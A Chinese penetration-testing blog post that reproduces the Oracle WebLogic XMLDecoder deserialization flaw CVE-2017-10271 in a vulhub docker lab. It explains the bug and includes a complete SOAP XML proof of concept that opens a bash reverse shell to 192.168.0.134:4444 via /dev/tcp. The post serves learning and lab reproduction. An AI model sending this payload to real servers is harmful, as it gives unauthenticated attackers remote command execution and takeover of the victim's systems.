渗透测试之中间件漏洞复现

介绍:

​ WebLogic是由美国Oracle公司出品的一application server,准确的说就是一个基于JAVAEE而开发的一个中间件,类似Tomcat,WebLogic是一个用于开发,集成,部署与管理大型分布式Web应用,网络应用和数据库的java应用服务器。将java动态功能与java Enterprise标准的安全性引入大型网络应用的开发,集成,部署与管理之中。

​ 其实WebLogic与我们所用的Tomcat定位一样,是用于部署java web程序的服务器,用于连接客户端与服务器甚至可以部署管理数据库,对其进行管理,这也正是WebLogic与Tomcat的不同之处,WebLogic可以用于部署大型的项目,因为WebLogic中包括了ejb,jsp,servlet,jms的容器,是可以实现更高更多的功能,但是Tomcat是官方指定的jsp$servlet服务器,只实现了jsp/servlet的相关规范,并不支持EJB,但是对于我们学习或者搭建小型java web项目时,Tomcat是很方便的容器。

​ WebLogic Server凭借其出色的群集技术,处理关键的Web应用系统问题所需的性能,可拓展性与高可用性。

​ 即实现了网络群集,也实现了EJB组件群集,不需要任何专门的硬件或操作系统支持,可以实现透明的复制,负载平衡以及表示内容容错。但是无论是网页群集还是组件群集,对于电子商务解决方案所需可拓展性与可用性都是至关重要的。共享客户机/服务器和数据库连接以及数据缓存和EJB都增强了性能表现,这也是其他Web应用程序所不具备的,所以在拓展性方面WebLogic是远超了Tomcat。

【一>所有资源获取<一】
1、电子书籍(白帽子)
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

一.CVE-2017-10271漏洞复现

1).官方文档

在CVE官网找到官方的描述:

​ Oracle Fusion Middleware 的 Oracle WebLogic Server 组件中的漏洞(子组件:WLS Security)。受影响的受支持版本包括 10.3.6.0.0、12.1.3.0.0、12.2.1.1.0 和 12.2.1.2.0。易于利用的漏洞允许未经身份验证的攻击者通过 T3 进行网络访问,从而破坏 Oracle WebLogic Server。成功攻击此漏洞可导致 Oracle WebLogic Server 被接管。CVSS 3.0 基本分数 7.5(可用性影响)。CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

2).问题类型

​ 易于利用的漏洞允许未经身份验证的攻击者通过 HTTP 进行网络访问,从而破坏 Oracle WebLogic Server。成功攻击此漏洞可导致 Oracle WebLogic Server 被接管。

3).影响版本

Weblogic Server

  • =10.3.6.0.0:影响 10.3.6.0.0

  • =12.1.3.0.0:影响 12.1.3.0.0

  • =12.2.1.1.0:影响 12.2.1.1.0

  • =12.2.1.2.0:影响 12.2.1.2.0

4).漏洞描述:

​ 在Oracle Fusion Middleware中的Oracle Weblogic Server组件的WLS Security子组件存在的安全漏洞,使用精心构造的xml数据可能造成任意代码执行,攻击者需要发送构造的HTTP请求,就可以得到目标服务器权限。攻击者可以利用漏洞控制组件,影像数据的可用性,保密性以及完善性。

​ 兄弟们不难看出,与CVE-2018-2628不同的是,这次我们是伪造HTTP数据包进行构造payload,而CVE-2018-2628中是利用T3协议,直接在其中间插入反序列化的恶意代码,使其执行恶意类造成对象的直接调用。所以两个漏洞的原理其实都是反序列化,对于对象的直接调用导致,只不过利用原理不同。

​ 其实CVE-2017-10271前身是CVE-2017-3506,在早期Oracle官方就发布了对于CVE-2017-3506的补丁,但是其实只是采用了黑名单的修复方案,所以经过精心的构造,还是可以抓包构造相应的http请求进行利用。

​ 经过我个人复现之后发现核心思想就是Weblogic Sercurity组件对外提供了webservice服务,其中利用了xmldecoder的方式来解析用户所传输的xml数据,于是在解析过程中就出现了反序列化漏洞,导致了可执行的命令。

​ 当我们在复现时,访问wls-wsat/WorkContextServer这个目录,发现可以访问就说明有此漏洞,但是我看了很多文章,都没有说到到底为什么,或者这个目录文件是干什么的,这个其实是weblogic中wls-wast.war包提供的一个类,通过wls-wsat提供web service服务,之后通过WLSServletAdapter进行处理,之后交给WorkContextServerTube类处理POST提交的数据包中xml的数据。

​ 在此不多解释了,我们开始复现:

5).复现过程

搭建环境,首先利用docker搭建vulhub靶场,进入对应目录,并搭建环境

image.png

成功

之后我们先查看vulhub提供的README.MD文件查看复现流程,发现其实和我们分析的一样,进行抓包修改http数据包进行恶意类实现

于是我们开始复现

首先验证漏洞是否存在

  • 1.利用工具进行验证

利用安恒信息为大家提供的漏洞专项检测工具进行检测:

image.png

发现检测成功

image.png

漏洞确实存在

  • 2.直接进行验证

当我们搭好环境后发现可以访问http://127.0.0.1:7001/wls-wsat/CoordinatorPortType时说明存在此漏洞,原因上面说过,不在赘述了

image.png

利用win10主机进行访问,抓包修改http数据包

image.png

ok


反弹shell

在我们修改数据包插入poc之前首先监听靶机端口

image.png

之后修改poc进行发送

反弹shellpoc

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.0.134/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

修改数据包

image.png

如图,首先请求类型为post,才能在下面添加poc

之后修改content-type类型为text/xml,直接修改文件类型可能会造成xml解析错误

之后将poc中ip改为监听地址

image.png

成功反弹shell

注意,复现此漏洞时我只用了一个虚拟机


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值